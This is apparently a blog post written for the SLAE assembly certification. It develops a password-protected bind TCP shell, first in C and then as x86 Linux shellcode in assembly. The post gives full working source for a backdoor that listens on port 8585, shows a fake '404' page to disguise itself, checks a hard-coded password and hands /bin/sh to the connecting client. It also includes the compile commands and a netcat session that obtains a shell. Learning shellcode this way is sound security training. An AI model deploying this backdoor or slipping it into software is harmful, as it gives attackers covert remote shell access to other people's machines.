As with the bind TCP shellcode, I’ve first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
/* receiving password buffer size */
#define BUFSIZE 10
/* Listening port */
#define PORT 8585
/* Password prompt */
char prompt[] = \
"<html>\n"
"<body>\n"
" <h1>Error 404 - Try elsewhere</h1>\n"
"\n"
"</body>\n"
"</html>\n";
char password[] = "s3cr37";
int main() {
int listenfd = 0, connfd = 0;
int ret = 0;
char buffer[BUFSIZE];
struct sockaddr_in serv_addr;
// Create an un-named socket. returns socket descriptor
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
// Listen on the created socket for maximum 1 client connection
listen(listenfd, 1);
// Sleep waiting for client requests
connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
printf("Created accept socket: %d\n", connfd);
// Send fake prompt and wait for the password
ret = send(connfd, prompt, strlen(prompt), 0);
if (-1 == ret) {
printf("Send failed: %s\n", strerror(errno));
return 1;
}
// Read password
ret = recv(connfd, buffer, BUFSIZE, 0);
if (-1 == ret) {
printf("Recv failed: %s\n", strerror(errno));
return 1;
} else {
printf("Received: %s", buffer);
}
// Compare
if (!strncmp(buffer, password, strlen(password))){
printf("Correct password. Opening shell...\n");
} else {
close(listenfd);
close(connfd);
return 1;
}
// Duplicate stdin, stdout, stderr
ret = dup2(connfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(connfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
If we supply the correct password we get the shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp_passw &
[1] 4528
Created accept socket: 5
Received: s3cr37
Ź� Correct password. Opening shell...
And on the connecting side:
$ nc -nvv 192.168.56.1 8585
(UNKNOWN) [192.168.56.1] 8585 (?) open
<h1>
Error 404 - Try elsewhere</h1>
s3cr37
whoami
liv
The next step is to reproduce these system calls in assembly language and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:
global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; listenfd is returned in eax. Save into edx
; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
; sin_addr=inet_addr("0.0.0.0")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
xor ecx, ecx ; Construct sockaddr structure on the stack
push ecx ; inet_addr - 0.0.0.0 - INADDR_ANY
push word 0x8921; 16 bits - port number (8585 decimal)
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; listenfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 2 ; socketcall type of call: SYS_BIND (2)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. listen(listenfd, 1)
push 1 ; max connections
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 4
pop ebx ; SYS_LISTEN (4)
push 102
pop eax ; socketcall syscall
int 0x80
; 4. accept(listenfd, 0, NULL) = connfd
xor ecx, ecx
push ecx ; NULL
push ecx ; 0
push edx ; listenfd
mov ecx, esp ; pointer to socketcall arguments
push 5
pop ebx ; SYS_ACCEPT = 5
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
mov edx, eax ; save new connection descriptor
; 5. recv(connfd, buffer, BUFSIZE, 0)
; recv(int sockfd, void *buf, size_t len, int flags);
xor ecx, ecx
push ecx ; flags (0)
push 0xa ; buffer size
lea ecx, [esp + 8]
push ecx ; addres of buffer
mov edi, ecx ; save address of buffer for further comparison
push edx ; sockfd
mov ecx, esp ; ECX - params of socket call
push 10
pop ebx ; EBX - type of socketcall - SYS_RECV (10)
push 102
pop eax ; socketcall syscall
int 0x80 ; connfd will be in eax
; 6. compare password
mov ecx, 6 ; passwd len
; pass: s3cr37 - 73 33 63 72 33 37
push 0xAAAA3733
push 0x72633373
mov esi, esp
; address of buffer is already saved in edi
repe cmpsb
jz correct_pass
; exit()
xor eax, eax
mov al, 1
xor ebx, ebx
mov bl, 7
int 0x80
correct_pass:
; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
##
The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification